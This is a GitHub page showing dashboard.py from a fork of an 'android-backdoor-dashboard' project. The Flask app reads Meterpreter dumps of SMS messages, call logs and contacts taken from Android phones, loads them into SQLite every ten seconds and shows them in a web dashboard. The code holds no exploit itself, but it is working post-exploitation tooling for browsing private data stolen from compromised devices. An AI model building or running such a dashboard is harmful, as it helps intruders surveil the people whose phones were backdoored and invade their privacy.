forked from totekuh/android-backdoor-dashboard
-
Notifications
You must be signed in to change notification settings - Fork 0
/
dashboard.py
executable file
·118 lines (92 loc) · 3.91 KB
/
dashboard.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python3
import sqlite3
from pathlib import Path
from flask import Flask, redirect, render_template, url_for
from flask_apscheduler import APScheduler
class Config(object):
SCHEDULER_API_ENABLED = True
DUMP_DIRECTORY_PATH = Path('/home/retr0/Desktop/dump')
DB = "dump.db"
scheduler = APScheduler()
app = Flask(__name__, template_folder="")
app.config.from_object(Config())
def dump_parse_save_unique(requested_dumps):
# insert meterpreter dump here
# after the dumps are done, they will be picked up
for dump_type in requested_dumps:
meta = {
'DumpType': dump_type
}
# headers = []
dump = {}
try:
with open(app.config['DUMP_DIRECTORY_PATH'] / f"{dump_type}.txt", 'r', encoding='utf-8') as dump_f:
idx = None
while True:
line = next(dump_f).strip()
if line:
if line.startswith("#"):
idx = line
dump[idx] = {}
elif idx:
key, value = [s.strip() for s in line.split(":", maxsplit=1)]
dump[idx][key] = value
# if key not in headers:
# headers.append(key)
elif ":" in line:
key, value = [s.strip() for s in line.split(":", maxsplit=1)]
meta[key] = value
except StopIteration:
dump = list(dump.values())
with sqlite3.connect(app.config['DB']) as conn:
for row in dump:
sql_insert(conn, dump_type, row)
except FileNotFoundError:
pass
def sanitize(query: str):
return ''.join(c for c in query if c.isalnum())
def sql_insert(conn, table, row_dict):
table = sanitize(table)
headers = [sanitize(k).lower() for k in row_dict.keys()]
data_placeholders = [f":{sanitize(k)}" for k in row_dict.keys()]
conditions = " AND ".join(
f"{header} ={data_placeholder}" for header, data_placeholder in zip(headers, data_placeholders))
marked_up_query = f"INSERT INTO {table} " \
f"({', '.join(headers)}) " \
f"SELECT {', '.join(data_placeholders)} WHERE NOT EXISTS(SELECT 1 FROM {table} WHERE {conditions});"
conn.execute(marked_up_query, row_dict)
def sql_load(requested_dumps):
dumps = {}
with sqlite3.connect(app.config['DB']) as conn:
for dump_type in requested_dumps:
table_name = ''.join(c for c in dump_type if c.isalpha())
dumps[table_name] = {}
cur = conn.cursor()
cur.execute(f"PRAGMA table_info({table_name});")
table_info = cur.fetchall()
dumps[table_name]['headers'] = [h[1] for h in table_info]
cur.execute(f"SELECT * FROM {table_name};")
dumps[table_name]['rows'] = cur.fetchall()
return dumps
@scheduler.task('interval', id='dump_update', seconds=10, misfire_grace_time=900)
def dump_update():
with sqlite3.connect(app.config['DB']) as conn:
conn.execute("CREATE TABLE IF NOT EXISTS sms (type TEXT, date TEXT, address TEXT, status TEXT, message TEXT);")
conn.execute("CREATE TABLE IF NOT EXISTS calls (type TEXT, date TEXT, number TEXT, name TEXT, duration TEXT);")
conn.execute("CREATE TABLE IF NOT EXISTS contacts (number TEXT, name TEXT);")
dump_parse_save_unique(["sms", "calls", "contacts"])
print('Dump!')
@app.route('/')
def index():
return redirect(url_for('dashboard'))
@app.route('/dashboard')
def dashboard():
dumps = sql_load(["sms", "calls", "contacts"])
# print(dumps)
return render_template("dashboard.html.j2", dumps=dumps)
# don't put these into "ifmain"
scheduler.init_app(app)
scheduler.start()
scheduler.run_job('dump_update')
if __name__ == '__main__':
app.run(debug=True)